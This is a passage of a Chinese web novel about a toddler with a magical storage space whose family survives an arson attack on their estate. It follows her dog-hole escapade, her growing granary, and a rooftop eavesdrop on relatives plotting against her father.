约莫半个时辰后,陈婆子家院落也猛地腾起一片赤红,两处火场遥相呼应,将半个庄子照得亮如白昼,连七八里外赶夜路的人能看见天边那抹红光。
大院正门紧闭,铁锁依然寒森森地挂着,却也忽然浓烟滚滚,直冲云霄。火光不大,浓烟却从从门缝、墙头丝丝缕缕渗出。
那三名被擒的纵火者,包括大院里抛出来同样捆绑得如同死猪的一人,被拖到陈婆子家院外火势最盛处,口中布巾被猛地扯掉,还未等他们发出求饶,便被一股巨力推入熊熊烈焰之中。
凄厉得不似人声的惨嚎瞬间炸开,又很快被木材爆裂的轰鸣与风声吞没,只在空气中留下焦臭与绝望的气息。
就在这火光映天、鼎沸之际,一个浑身黑衣、几乎与夜色融为一体的身影,悄无声息地匍匐到那荆棘掩映的狗洞前。他像条湿冷的蛇,谨慎地向洞内钻去。
然而身子刚进去一半,庄内救火的嘈杂声便如潮水般涌来——佃户们被惊醒了,纷乱的脚步声、提桶奔跑声、呼喊指挥声由远及近。
黑衣人立即僵住,不敢再往前爬,而是屏息凝神,将半边脸贴在冰冷潮湿的洞壁上,静静聆听外面的动静。
“快!快往大爷大夫人那屋去!火就是从那儿起的!”
“晚了!听说夫人被救出来了,大爷是几个忠仆冒死从火海里背出来的,那床架子都烧塌了一半!怕是……唉!”
“这天气,屋檐还挂着冰溜子呢,怎会起这般大火?邪门!”
“是陈婆子那一家子黑心肝的纵的火!泼了桐油,嗨!今天要是没有往外铲雪,怕是还好扑救!”
“该!那几个杀才,刚已被巡防的汉子们捆了,直接扔进火坑里!这就叫现世报!”
“只可惜了大爷……那么好的人,昨天刚见点起色,能出来透透气了,这一遭……就算捡回条命,往后怕是也难了……”
“能不能活还不一定……”
……
洞中黑衣人听得真切,嘴角难以抑制地向上扯动,露出一口森白的牙,在洞外火光的微映下显得格外狰狞。他心想:竟有人抢先动了手,倒是省了爷一番力气。目光瞥向洞外陈婆子家那冲天烈焰,心中最后一丝疑虑也消散了。
他不再犹豫,手脚并用地倒退着爬出狗洞,动作轻盈迅捷。
刚在雪地里站稳,眼角余光便扫见不远处歪倒着那辆独轮车,心中一动,上前扶起,推着便在雪地上吱呀呀跑了起来,身影迅速没入黑暗,只想快点离去,将这“好消息”禀报上去邀功。
而此时,庄内的厢房里,暖意融融。玩累了一天的阿沅在锦被中睡得小脸通红,细细的呼噜声均匀绵长,对庄外的惊心动魄浑然不觉。
直至天光大亮,她被红袖轻声唤醒,迷迷糊糊任由摆布穿衣裳。
红袖一边灵巧地系着盘扣,一边忍不住嘀咕:“小姐,许是银丝炭不够了。昨儿在庭院正中烧炭呢,黑烟现在都没停歇。亏得是在院子最空旷处烧的,没熏着屋子。”
阿沅睡眼惺忪,茫然地重复:“烧炭?”她心里直犯嘀咕:自己空间里明明还存着好些上等银丝炭呢,前些天还问过爹爹要不要拿出来用,爹爹当时抚着她脑袋笑说:“庄子里备的炭足着呢,哪用我们阿沅操心。”
红袖蹙起眉,手上动作不停:“那烟可浓了,黑乎乎的,现在出去瞧,只怕还有余烟。”
“快点,快点,给窝穿快点!窝要去看!”阿沅的好奇心瞬间被勾了起来,隐隐觉得这事不简单,瞌睡虫全跑了。最后两颗扣子还没扣好,她就像只小兔子般从红袖手里溜了出去。
谁知刚冲出房门两步,她又“咻”地一下缩了回来,还把紧跟出来的红袖也一同拽回门后,竖起一根小手指贴在唇边“嘘”了一声,然后小心翼翼地将耳朵贴在门缝边,一双乌溜溜的大眼睛闪着机敏的光。
只听正屋门槛处,坐在轮椅上的孟大川背对着这边,声音低沉平稳,正与肃立一旁的孟七吩咐:“紧邻的那个白水庄,底细清楚么?主家是谁?庄里都住了些什么人?”
孟七略一躬身,回道:“姓白,据说是外地来的商贾,在此处置产落脚,根基不深,家眷人口也简单。更详细的,得今日才能派人出去细探。但可以确定,这庄子并非老太太或二房名下的产业。”
“哼,”孟大川轻笑一声,却带着寒意,“看来是个人都以为能来踩我大房一脚了。你今晚带两个机灵稳重的,进去探探虚实。记住,只摸清底细,切勿打草惊蛇。”
“是。”孟柒应下,又请示道,“大人,那个……狗洞,是否需要即刻封堵?”
阿沅顺着父亲目光所向,从门缝瞧见庭院正中果然有一大堆黑黢黢的、显然是泼过水才熄灭的炭火残骸,兀自袅袅冒着青烟。若是贼人真来放火,岂会选在院子正中空旷处?小姑娘心里顿时明镜似的。
“白水庄?”阿沅扭头,用气声问红袖。
红袖凑近,同样压低声音,手指悄悄指向院墙外:“就在咱们庄子围墙外不远,奴婢知道的,离嘉禾庄最近。”
阿沅对红袖用力眨眨眼,再次做了个“嘘”的手势,示意她别跟来。然后自己蹑手蹑脚地溜出去,像只轻巧的小猫,到最后,哒哒哒几步跑到孟大川轮椅边。
伸出小手一把攥住他的衣襟,让爹爹正是着她,仰起小脸,眼睛亮晶晶地,语气又软又糯,却带着不容商量的坚持:“爹爹,白水庄,今晚窝也要去。”
第60章 阿沅带人钻狗洞
“那不行,”孟大川一低头,看见女儿不知何时已像只小狸猫般悄没声地贴了过来,软乎乎的身子整个儿伏在他膝盖上,两只小胳膊还紧紧环住了他的腿。她仰起的小脸上满是期盼,眼睛亮晶晶的,仿佛盛满了星光。
可孟大川对她的要求拒绝得毫不留情,语气硬邦邦的,没有半点转圜余地。
话一出口,他就瞧见女儿那双亮晶晶的眼睛瞬间黯淡下去,小嘴微微瘪着,营养坚持说:“就去!”
她长长的睫毛扑闪了几下,眼眶眼看着就红了起来,漫上一层委屈的水光,仿佛下一秒就要滚下金豆子。
孟大川心头一紧,意识到自己方才板着的脸怕是吓着了她。他暗自叹了口气,面部僵硬的线条不由得放软下来,声音也放缓了许多,添上几分哄劝的意味:“等柒叔他们先把那边的情况都摸清楚了,咱们再说,好不好?”
孟柒站在一旁,目光始终没离开小姐那双滴溜溜转的大眼睛。那眼睛一会儿狡黠,一会儿委屈,灵动极了。她此刻猛然提起要出去,让孟柒忍不住想起了年前去往侯府的那三天两晚。就是这个小不点,比现在还小,却像个小军师似的,有条不紊地指挥他们这群大人干成了一件了不得的大事,还买这买那。
她不仅运筹帷幄,更奇的是,对去冬今春这场席卷京畿的罕见大雪灾,竟似有未卜先知之能,早早便布局安排,囤粮修屋、备炭、穿衣盖被什么都想到了。正因为她那些看似童言稚语却无比精准的吩咐,庄子里上下下才能安然度过此劫。
孟柒相信,夫人名下的其他几个嫁妆庄子,此番也必能因小姐的先见之明而将伤亡减到最小。
“大人,”在父女俩那“去”与“不去”、一个板脸一个撒娇的拉锯战尾声,孟柒终于开了口,声音沉稳而坚定,“就让小姐去吧。”
他看着大人紧锁的眉头,又看了一眼小姐那强忍泪花、满是渴望的小脸,上前一步,单膝触地,抱拳郑重承诺:“属下用性命担保,定会寸步不离,护得小姐周全。若有半点闪失,属下无需大人动手,自当提头来见!”
“柒叔!”
阿沅敏锐地感觉到爹爹抱着自己的手臂微微松了些,那紧绷的身体也不再那么僵直了。她知道,爹爹这座大山,终究是被她和柒叔联手撬开了一道缝!
巨大的喜悦瞬间冲散了方才的委屈,她眼睛一下子又亮得惊人,立刻从爹爹膝头扭过小身子,迫不及待地朝着孟柒伸出两只莲藕似的小短胳膊,奶声奶气地求抱抱,嘴巴像抹了蜜:“柒叔最好了!阿沅最喜欢柒叔了!”
孟大川被女儿这“见风使舵”的迅速变脸弄得哭笑不得,没好气地瞪了一眼那个满脸写着“得令”、伸手就想来接走这“小没良心”的手下。
他非但没松手,反而把女儿往怀里又揽了揽,伸出食指,轻轻拧了拧她粉嫩脸颊上的那团软肉,佯装恼怒地嗔骂道:“你这个小没良心的!谁才是你亲爹?嗯?柒叔一句话你就不要爹了?”
“咯咯咯!”阿沅得逞后大笑,圆圆的身子拧成了麻花。
……
明明晚上就能正大光明地出去,可白日的时光依旧漫长。阿沅被裹得严严实实,像颗圆滚滚的球,被允许在院子里看铲雪、也可以了堆雪人。可她心里头,却始终惦记着那个被柒叔提及的、隐藏在荆棘丛后的“秘密通道”——那个狗洞。
“走!窝们去看看!”也不知道说的是看看还是探探。阿沅小手一挥,又开始兴致勃勃地瞎指挥起她的“小跟班”们。
找到那处狗洞并不难,因为那段荆棘丛附近有护卫专门把守,庄子里佃户清理积雪时也被明令禁止往那个方向来,更不能倾倒于此处。
如此一来,庄子其他地方的积雪早已被垒成了高高的雪墙,经过日晒夜冻,雪墙外层已结了一层硬壳,成了滑溜溜、亮晶晶的冰墙,在阳光下闪着冷冽的光。
阿沅带着莲子、红袖,后面稍远些跟着的绿果和红豆,深一脚浅一脚地挪到那片荆棘附近。她踮着脚,伸长脖子往里瞧,只看见枯枝交错,黑乎乎的洞口隐约可见。
“苏苏(叔叔),窝就看看!”她仰起小脸,对拦在身前的护卫露出最天真无害的笑容,声音甜甜的。
“窝就看看嘛!”她歪着头,继续软磨硬泡,小表情认真极了,仿佛真是为了晚上的“正事”在做勘察。
一开始,护卫们还牢记职责,像铁塔似的挡在前面。但看她确实只是好奇地东张西望,用小树枝远远地戳戳荆棘,并无进一步动作,也就渐渐放松了警惕,只当是小孩子无聊的探险游戏。
谁知,就在一个护卫转身查看别处的瞬间,这个裹得像个五彩粽子、行动看似笨拙的小家伙,忽然就以惊人的灵活度,“呲溜”一下伏低了身子,手脚并用地朝那狗洞钻去!她动作快得让人猝不及防,像只真正的小狗崽,毫不犹豫。
“小姐!”绿果惊呼一声,一把推开旁边还在发愣的红袖,飞扑过去想抓住阿沅的脚踝。可阿沅的小短腿蹬得飞快,大半个身子已经进去了。莲子也觉得好玩,想也没想,也跟着撅起屁股往里钻。
“快点出来!”绿果只来得及喊出这一句,与反应过来的红豆对视一眼,两人同时足尖点地,轻盈地跃过那丛带着尖刺的荆棘,稳稳落在狗洞的另一侧出口,一左一右,像两尊门神般横在了那里。
她们刚站定,就见毛茸茸的脑袋从黑乎乎的洞里冒了出来。阿沅的小脸蹭了点灰,帽子都刮掉了一半,显得眼睛更加黑白分明。此刻,那眼睛里可没有半点害怕,全是计划得逞的兴奋和得意。
让她再钻回去是不可能了。绿果伸出手,想将她整个托抱出来。可阿沅像条滑不溜秋的小鱼,使劲扭动,脚一沾地,立刻挣脱开来,然后“噔噔”后退两步,双手叉在自己圆鼓鼓的小腰上,挺起胸膛,努力摆出最凶悍的样子。
她乌溜溜的眼睛瞪得滚圆,对绿果和红豆怒目而视,奶凶奶凶地威胁道:“泥敢抱窝回去!”
她喘了口气,加重语气,每个字都咬得清清楚楚,试图增加威慑力:“一后(以后)不要泥们了!窝让爹爹把泥们调去守大门!天天看门!”小家伙全身的力气似乎都用在“生气”上了,五官皱在一起,圆脸蛋鼓得像塞了两个小包子,加上那身厚厚的冬衣,活脱脱一只炸了毛、竖起了所有尖刺的小刺猬。
“小姐,你爬得真快呀!”莲子终于从洞里钻了出来,拍打着身上的雪粒,小脸兴奋得红扑扑的,跟着小姐真好玩,终于不用只待在四面都是高墙的院子里了,外面的空气似乎更加冰冷,更加芬芳。
“小姐,快些回去吧,夫人要是片刻找不见您,该着急上火了。”红袖最后一个费力地爬出来,一边整理自己弄乱的衣裙,一边苦口婆心地劝道,那老气横秋的语气,瞬间与绿果、红豆结成了“劝归统一战线”。
绿果赶紧接话,软声道:“是啊,小姐,咱们先回去,……”
“一后(以后)泥们守门口!”又是一句脆生生的威胁,这次小手指直接点向了绿果和红豆的鼻子。
然后,她像是彻底放弃了跟她们讲道理,气呼呼地“哼”了一声,猛地转过身,双手抱在胸前(其实只是小胳膊努力环住厚厚的衣襟),一屁股蹲了下来,只留给她们一个圆滚滚、气鼓鼓的背影。
她的小脑袋微微歪着,目光投向不远处被冰雪覆盖、显得寂静又神秘的白水庄。
孟沅小嘴抿得紧紧的,独自生起了闷气:为什么自己想要做点事情,就这么难呢?明明自己每顿饭都已经很努力地吃很多很多,怎么就不见长大呢?
第61章 爹爹你使坏
孟沅其实心里也跟明镜似的,这大白天的,外面冰天雪地,灾民流窜,确实干不了啥正经事。
可她就是像只被关久了的小雀儿,迫切地想扑腾出去,哪怕只是在外面溜达溜达,吸几口清冷的自由空气也好。
最好能把那神秘的白水庄也溜达上一圈,瞧瞧里头到底是个什么光景。
她心里拨拉着小算盘:反正她们五个都是女孩子,自己和莲子是不折不扣的三寸丁,红袖也才堪堪八岁,身量未足,脸上还带着稚气,勉强算半个孩子。这样一队“女娃娃兵”,走在路上,任谁看了也只会当是贪玩溜出来的,哪里会起什么防备之心呢?正是打探消息的好掩护。
“小姐,”阿沅刚拍拍膝盖上的雪站起来,小脑袋瓜里正琢磨着怎么说服绿果她们“溜达一圈”,身后就传来了孟柒那沉稳又带着几分无奈的声音,“您这一溜烟没影,夫人都急得掉眼泪了,正派人四处寻您呢。”
孟沅:“……”小身子顿时一僵。娘亲哭了?这罪名可大了。
她小嘴不自觉地扁了扁,心里那点跃跃欲试的兴奋,像被戳了个小洞的气球,嗤嗤地漏掉了一些。
“雪刚停,庄子外并不太平,不知有多少无处可去的灾民在附近转悠,寻机觅食,不然早就吩咐敞开大门了。大人和少爷都万分担心您的安危,特命属下来将您带回去。”孟柒的语气并不严厉,却带着不容置疑的关切。
阿沅倔强地站在原地,小手背在身后,不肯挪步,只拿一双黑白分明的大眼睛警惕地望向孟柒,试图从他的表情里分辨这话是真是假,有没有转圜的余地。
“少爷在里头着急,见您钻了狗洞,他也想跟着钻出来瞧瞧。急得没法,都开始扯着属下的衣角,央求属下教他学武功了,说学了功夫就能保护妹妹,还能飞檐走壁。”孟柒又补了一句,嘴角带着一丝不易察觉的笑意,认真盯着小姐的表情。
阿沅小脑袋忍不住转向白水庄的方向,望了一眼那覆雪的黑瓦屋顶,又回头看了看那个黑黢黢、此刻看来有点“罪证”意味的狗洞,内心像秋千一样晃荡起来。哥哥……还是不要出来吧!
可她的脚步像是被雪黏住了,还是没有动。
“大人还说,”孟柒看着小姐犹豫的小模样,决定使出最后一招,他蹲下身,平视着阿沅,语气格外认真,“小姐若是此刻不乖乖回去,大概……今晚就不必想着再出去了。”
这句话像一颗小石子,准确地投进了阿沅的心湖,激起了巨大的涟漪。她内心警铃大作:威胁!这是明晃晃的、来自爹爹的威胁!用小手指头想都知道,爹爹绝对干得出来!
但要她马上服软,乖乖被“押解”回去,又觉得太丢脸了,阿沅不要面子的么?
她眼珠一转,小下巴一扬,开始讨价还价,声音还带着点没完全消散的赌气:“那……那柒叔带窝飞一圈!从这边飞到庄头那棵大槐树,再飞回来!飞完就回去!”她想,至少得捞点“好处”,过过飞高高的瘾。
最后的结果是,阿沅像只被拎住后颈皮的小猫崽,又被孟柒稳稳地夹在了结实的腋窝下。耳畔风声呼呼,视野陡然开阔。
她兴奋地“哇”了一声,可还没等她看清庄子全貌,孟柒只顺着自家庄子的围墙“飞”了短短半圈,根本没按约定飞向远处的大槐树,就一个利落的转身,轻飘飘地掠过了荆棘丛,重新落回了院子里的地面上。
这时候,十五、十六两个半大少年已经拿着个大木盆,还有几块自制的光滑木板,在冰墙边等着了。孟怀瑾也闻讯赶了过来,脸上带着笑,显然是为了哄妹妹高兴,加入了“陪玩服务”的行列。
他们轮流推着阿沅坐在木盆里,从冰墙稍缓的坡上滑下来,或者让她趴在木板上,嗖地滑出一段。
一开始阿沅被新鲜的玩法吸引,咯咯笑个不停,觉得开心极了。但慢慢地,她品出点不对味来。
太阳暖洋洋地晒着,玩得身上也热乎乎的,再这么疯玩下去,自己会不会像昨晚一样,精力耗尽,早早就打起瞌睡,然后被抱上床,一觉睡到大天亮?那白水庄岂不是又去不成了?
“哼!窝不玩了!”念头一起,玩兴顿时全消。最后一次从木盆里爬出来,阿沅小脚一跺,哒哒哒就往主屋的方向跑,把玩得正起劲、满头大汗的哥哥和两个小叔叔弄得莫名其妙,面面相觑。
阿沅跑出十几步,又忍不住停下,回头看向刚刚陪她玩得像个大孩子、此刻有点怔愣的小十五叔和小十六叔,大声补充道:“明天!泥们记得出来,还玩这个!”得先把“玩伴”定下来,明天才好找借口出来。
“好嘞!全听小姐吩咐!”少年们听到这句,才又眉开眼笑,兴奋地应和,开始收拾雪具。
“娘亲!窝要洗澡澡,吃饭饭,睡觉觉!”远远看见大院门口柳氏推着轮椅上的孟大川往这边张望,阿沅就像只归巢的小燕子,连蹦带跳地扑了过去。
靠近一些,看清爹爹脸上那抹了然又带着点戏谑的笑意,阿沅立刻明白自己猜得没错。她气鼓鼓地瞪向孟大川,小手指着他:“爹爹泥洗坏(你使坏)!”
说着,也不管三七二十一,跑到轮椅后,用上吃奶的劲儿把轮椅转了个方向,就往大院里头推,声音闷闷的,带着气恼:“再洗坏,窝……窝就不给爹爹药药吃!让老北爷爷给泥开最苦的!扎针疼疼。”
孟大川被她这“凶狠”的威胁逗得朗声大笑,声音洪亮,“那爹爹用苦苦的药,换阿沅的红枣糕和杏仁酥,好不好?”
“才不要!”阿沅逻辑清晰得很,瘪着嘴不干了,觉得自己又被戏耍了。她气呼呼地丢下轮椅扶手,扭头就跑,边跑边喊,声音飘回来:“窝还是给爹爹加多多的苦药!苦到皱眉毛!”
“哈哈哈!”孟大川笑得更是开怀,胸腔都震动着。
柳氏接替了推轮椅的位置,轻轻责怪道:“你呀,再这么逗她,小心她真往你的汤药里加‘料’,她那些瓶瓶罐罐,你又不是不知道。”
“夫人多虑了,”孟大川靠在椅背上,望着女儿跑远的小小背影,眼神温柔又骄傲,“也不看看阿沅是谁的女儿,心肠暖着呢,顶多加点黄连,让我清清火。”他这谜一般的自信,让柳氏哭笑不得。
“我算是知道什么叫‘女儿奴’了。”柳氏摇头叹息,语气里是无奈,也是纵容。
“儿子也要做‘妹妹奴’,娘亲可别吃醋。”后面赶上来的孟怀瑾,脸上还带着玩耍后健康的红晕,他轻轻推开柳氏,自然而然地接手推起了父亲的轮椅,语气沉稳中带着少年特有的清朗。
看着儿子虽稚嫩却已显担当的背影,又望向前方那个活力十足的女儿,柳氏推着空手,忽然惊觉,自己心里那长久以来盘踞的阴霾和担忧,似乎已经很久没有化作眼泪流出来了。
换作的是一种久违的、踏实而温暖的平静,悄悄漫上了心头。
第62章 空间再一次扩大
洗了个热乎乎的澡,浑身的毛孔都舒展开来。又吃了顿丰盛的晚饭,直把小肚子撑得圆鼓鼓的,像揣了个小西瓜。
阿沅终于心满意足地倒进了柔软暖和的锦被里,却并没有像往常那样立刻打起小呼噜。
她闭着眼睛,小耳朵却竖着,仔细听了听外面红袖她们窸窸窣窣走远的脚步声。等到四周彻底安静下来,只剩下炭盆里偶尔“噼啪”一声轻响,她才悄悄地、熟练地将意识沉入空间。
“哈哈!空间又变大了!大大,你真够意思!”一进去,阿沅就忍不住欢呼雀跃。
她一眼就看到了试验田后面那个巍然矗立、几乎望不到顶的庞然大物——一座巨大的、银灰色金属质感的粮仓!与她见过的任何现代粮囤都截然不同,那简洁流畅的线条,恢弘现代的气势,让她兴奋得樱桃小嘴都快咧到耳朵根后面去了。
“可是……我的水稻呢?”欢呼过后是疑惑。她明明记得,前两晚进来时,试验田里还是一片沉甸甸、黄澄澄的稻浪,正是该收割的时候。怎么现在地里空空如也,连根稻草影子都不见了?
“不会……是成熟就……自动归仓了吧?”这个念头闪过,阿沅心头一跳,随即迈开小短腿,朝着那座巨大的粮仓飞奔过去,跑得飞快,小啾啾都快飞起来了。
这粮仓的样子,跟她模糊记忆里某个现代化大农场中的筒仓有些相似,又像是放大了无数倍、结构还是容积最大的围屋,这么高,这么大,里面的容量肯定吓人!
似乎是因为她的到来和意念触动,那原本紧闭的、看起来严丝合缝的银色自动门,发出轻微的“嗡”声,缓缓地向两边平滑地打开,仿佛在欢迎它的小主人。
“哎哟!我的天哪!”阿沅站在门口,仰着小脑袋往里看,忍不住发出一声惊叹。
粮仓内部明亮整洁,墙壁如同光滑的玻璃,又被清晰地分割成三个独立的区域。每个区域里,金灿灿的稻谷堆积如山,在不知从何而来的柔和光线照耀下,泛着诱人的、属于丰收的温暖光泽,一目了然,震撼人心。
更神奇的是,每个仓区的上方,都有一个发着微光的显示屏,上面跳动着温度和湿度的数字刻度。同时,她耳边(或者说意识里)仿佛响起清脆的提示音,眼前也似乎有半透明的大字闪烁浮现,分别为三个仓区做了标注:“良种1号”、“良种2号”、“良种3号”。
阿沅仔细回想对比。在现代,再好的土地,这些优良品种,亩产千斤已经是非常了不起的成绩。可在这神奇的空间里种植,同样的种子,竟然足足多收获了三分之一!这简直是神迹!
即使眼前这三个粮仓现在装载的稻谷,粗略估算也达到了一万五千斤的惊人数量,但放在这个巨无霸般的超级粮仓里,竟然还填不满十分之一的空间,只占了底下的一角。
“空间大大,你也太会玩了吧?”阿沅叉着小腰,对着虚空嘀嘀咕咕地埋怨起来,小脸上却是掩饰不住的兴奋和得意。
“就不能早点给个提示吗?非得背后偷偷来这一手。害得我之前连续进来两次,吭哧吭哧地用意念‘腾屋子’,搬来挪去,生怕粮食太多没地方放,愁得我哟!”
虽然嘴巴上抱怨,可她心里早就乐开了花,怎么琢磨都觉得这个空间真是太给力、太贴心了。
照这个趋势发展下去,等到她长大成人,这个空间不会真的演变成一座功能齐全的小城镇吧?那她岂不是就成了威风凛凛的城主大人了?光是想想,阿沅就忍不住在柔软的草地上打了个滚,开心得咯咯直笑。
她用意念迅速完成了第二季水稻的播种,又在散发着清香的草地里滚了好几圈,撒够了欢,才觉得有些困倦,在休息间里睡了个香甜的囫囵觉。醒来后,满足地吃了两块奶香酥和一小碗泡面。这才心念一动,回到了凡间温暖的被窝里。
再次醒来时,窗外还有些蒙蒙的亮光,应当是太阳刚刚西沉,余晖未尽的时分,正是平常该吃晚饭的时候。可是阿沅一点都没觉得饿,肚子里还饱饱的呢。
“窝不要穿这个红色的!窝要穿黑衣!像柒叔他们那样的!”看到红袖又拿着一件崭新的、绣着小兔子的大红棉袄往自己身上套,阿沅不干了,小身子泥鳅似的往下一滑,重新钻进了暖和的锦被里,只留下一个圆滚滚的小屁股和两条小腿露在外面,表达着无声的抗议。
爹爹明明亲口承诺过,会让娘亲给她缝制一身“夜行衣”的!怎么颜色完全不对?这是糊弄三岁小孩呢?
“小孩子家家的,穿一身黑多不吉利,瞧着也沉闷。这红色在晚上看着,跟黑色也差不多。”锦被下鼓起的小鼓包被一只温柔的手轻轻拍了一下,屁股还冷飕飕的。
柳氏的声音带着笑意,又故意带点恐吓,“再磨蹭,柒叔他们可就不等你了,自己走啦。”
“他敢?窝……窝也不要柒叔了!窝自己去!”虽是撅着嘴赌气,阿沅的小脑袋还是像只小乌龟般,慢吞吞地从被窝边缘钻了出来,头发乱蓬蓬的,小脸睡得红扑扑,终究是妥协了,任由娘亲将她拉出来摆布。
但她心里还惦记着颜色问题,仰着小脸,认真求证:“红色……晚上真的会变成黑色吗?”黑葡萄似的大眼睛里满是怀疑。
“娘亲还能骗你不成?”小屁股又被轻轻拍了一下,带着亲昵的嗔怪,“等吃完了晚饭,天也黑沉了,到时屋里不点灯,你让红袖在屋里瞧瞧,看是不是黑乎乎的?”
“那……那也行吧!”这个“实验”听起来很有趣,阿沅终于高兴了。其实,虽然她觉得四个暗卫叔叔穿的那种紧身利落的夜行衣非常帅气神秘,但她这个年纪的小娃娃,内心深处最喜欢的,可不还是鲜艳的红色和娇嫩的粉色嘛!只是嘴上不肯认输罢了。
“记住,一切行动要听柒叔的指挥,不能自作主张。发出一点点不该有的声音,都可能坏了大事,听见没?”柳氏一边给她系着盘扣,一边不厌其烦地叮嘱。
“嗯!”阿沅用力点头,小表情严肃。
“进了别人的院子,千万别乱跑,一定要紧紧拉着柒叔的手,一步也不能离开。”这一次行动非同小可,柒叔只带她和四个暗卫,轻装简从。别说红袖了,就是身手不错的绿果和红豆,也只能留在家里干等着。
“啊!”阿沅继续点头,表示明白。
“还有,不管听到什么、看到什么,都不能自己擅自动手,要等柒叔的命令。”
“知…道…了!”阿沅拉长了声音,乖乖应着。
直到被抱到爹爹屋里,被抱到饭桌前,热腾腾的锅子香气扑鼻,可爹爹、娘亲和哥哥轮番的、反复的嘱咐话语,像一群嗡嗡叫的小蜜蜂,绕着她的耳朵飞,让她简直想把自己的小耳朵暂时扯下来藏好。
但此刻,她只能摆出一副最最乖巧、最最听话的“乖乖女”模样,除了用“嗯”、“啊”和不停地点着小脑袋来回应,不敢多说半个“不”字。
生怕爹爹看她有一丁点儿不耐烦,就眉头一皱,直接把她搂回床上“睡觉”去,那她的夜探,可就彻底泡汤了!
第63章 瓦顶上听到的隐私
说实话,被人夹在腋窝飞那种感觉,真是又憋屈又难受,身子像个包裹般晃荡着,又被黑色的大氅包裹住,下面黑乎乎的一团,啥也看不见,远不如两人一左一右提着胳膊飞来得从容体面。
若不是年纪尚小,力气不济,阿沅简直有种被当成物件随意搬运的侮辱感,每一次颠簸都让她暗自咬牙。
但阿沅没有选择。她像只渴望挣脱雏巢的幼鹰,只盼着能快些长大,生出足以搏击风雨的羽翼。然而她也清楚,武功一道讲究水到渠成,想在短时间内练至极致,不过是痴人说梦罢了。这认知让她焦灼,却也催生出一股不服输的狠劲。
此刻,她严重怀疑孟柒他们白天已经偷偷来踩过点了。不然怎会一进了白水庄那高耸的围墙,就如识途老马般绕开巡更与暗哨,径直将她带至庄园中央那最气派的大屋屋顶,简直像回自己家一般熟稔。
脚刚落上屋瓦,孟柒便将她轻轻一放,那动作随意得如同搁下一个随身携带的小包裹。
“柒叔,不用到处探探么?”阿沅稳住身形,扑棱着又长又密的眼睫毛,仰头看向已蹲下身开始动作的孟柒。
见他正用薄刃小心翼翼地撬动屋瓦,她的声音压得极低,带着孩子特有的清亮与疑惑。
这白水庄的大宅虽不及他们所住的嘉禾庄占地广阔,却处处透着股精心雕琢的富贵气。飞檐斗拱,雕梁画栋,连瓦当上都饰有繁复的纹样,显然不是主家偶尔来住一两次的别院那么简单,倒像是常有人精心打理、藏着不少隐秘的所在。
阿沅的小脑袋瓜飞快转动,想到自己那正在逐渐扩大的神秘空间,还有因不用储存粮食而显得略有些空旷寂寥的含章苑,心里便忍不住一阵发痒。
她恨不能立刻将这宅子里值钱的宝贝都搬空,让那些胆敢帮着安平侯府谋害他们大房的狗东西们,连件蔽体的衣裳都不剩,通通扔进冰天雪地里冻成僵硬的大冰块才好。
这念头带着孩子气的狠厉,让她的小拳头不自觉地攥紧了。
就在这时,下方忽然传来清晰的对话声,打破了屋顶的寂静。“爹,孟大川这回不死也当不成侯爷了,该是我们回去的时候了吧?”
那是一个中年男人的声音,语调悠悠,却掩不住字里行间浓浓的埋怨,“都是您的亲儿子,一个在侯府吃香喝辣,穿金戴银,我们却窝在这山旮旯里几十年,都快变成钻山越岭的野人了,凭什么?”
这话语像根针,猛地刺了阿沅一下。她连忙将整个小身子伏低,整张脸几乎都贴到了冰凉的瓦片上,努力睁大眼睛,想从那缝隙中窥见下方说话之人的模样。
“凭什么?”一个苍老而略显沙哑的声音嗤笑一声,接过了话头,那话里的内容却冰冷刺骨,“凭你是奸生子。”这话如同惊雷,让正想多掀开几片瓦、扩大窥视范围的孟柒动作骤然一顿。
他侧起耳朵,眼神在瞬间变得锐利如鹰隼,握着薄刃的手指也微微收紧。
“爹!”中年男人的声音陡然拔高,带着被戳中痛处的羞恼与愤恨,随即响起“哐”的一声,像是茶盏被重重撂在桌面的声响,“你这么说,是不想让我们一家活了吗?我从小就没娘疼,你还这么偏心!”那声音里透出不甘,更有一丝被长久压抑后即将喷薄的戾气。
“那你又想如何?你在这过的是什么日子自己不知道么?”苍老的声音透出几分疲惫与无奈,“就是孟大川真死了,上头还有他那个疯疯癫癫的儿子呢!朝廷有律法,家族有规矩,谁敢保证那爵位不会传到他头上?”
在屋顶偷听最大的弊端,就是难以看清下方之人的面容神情。阿沅只能凭声音想象那两张或许与孟二泉有几分相似、此刻却布满算计与怨毒的脸。
她捏紧了小拳头,牙齿气得咯咯作响,一股无名火直冲脑门。好想就这么揭开瓦片,往下面撒一把能让人肠穿肚烂的毒药啊!这念头在她心头疯狂涌动。
“再这么拖下去,娘亲若是撑不住,死了怎么办?”中年男人的声音染上急迫,“你敢保证二弟会真心实意认回我们这群见不得光的亲人?怕是他巴不得把我们当作上门打秋风的乞丐,乱棍打出去才干净!”
“我是他亲老子,血脉相连,他敢不认?”苍老的声音陡然强硬起来,却又在尾音泄出一丝底气不足的叹息,“除非……除非那个爵位他也不想要了。”
沉默片刻,那声音继续道,带着一种积年累月的怨愤与渴望:“你以为我不想?那老鬼一咽气,你爹我恨不得立刻就能搬进那雕梁画栋的侯府里去!你以为我白弟城,就甘心守这活寡一般的日子,守了一辈子?”
“小姐,回去!”听到这惊心动魄的对话,孟柒面色已然铁青。他意识到此事牵连之深、干系之大,远超先前预估。他不再犹豫,开始以极快的速度、极轻的手法将掀开的瓦片重新归位。
同时压低声音,带着不容置疑的坚决对阿沅道。必须立刻回去,将这一切禀报!
“再听听嘛!”阿沅正听到关键处,心里还惦记着“掏老窝”的打算,哪里舍得立刻离开。她扭了扭身子,小脸上满是不情愿,试图用眼神央求。好不容易出来“活动”一趟,才待了这么一会儿,什么都没捞着,光是听了一肚子腌臜气,岂不是亏大了?
“事情到了这一步,也快了。你也别急。”下方,那老头子的声音又响了起来,似乎是在安抚焦躁的儿子,那声叹息悠长而复杂,藏着无数难以言说的算计。“他也够命硬,那样的大火居然都没烧死他。不过嘛……”
声音陡然压低,却依旧被屋顶上凝神倾听的两人捕捉到,“若是他那宝贝妻儿都死了,你以为,他还能独活?心气一散,人也就……”
“死老头,嘁屎窝了(气死我了)!”这恶毒至极的算计,如同最后一根稻草,彻底压垮了阿沅本就薄弱的耐心。她终究是孩子心性,怒火冲垮了理智,也忘了身处何地。
只听她低声咒骂了一句不知从哪儿学来的粗话,小手已经下意识地摸起脚边一块松动的瓦片,想也不想,恶狠狠地朝着那传出声音的缝隙就砸了下去!
“哗啦——!”
清脆的碎裂声在寂静的夜里显得格外刺耳。瓦片穿透薄薄的承尘,直落下方,也不知砸中了何物。
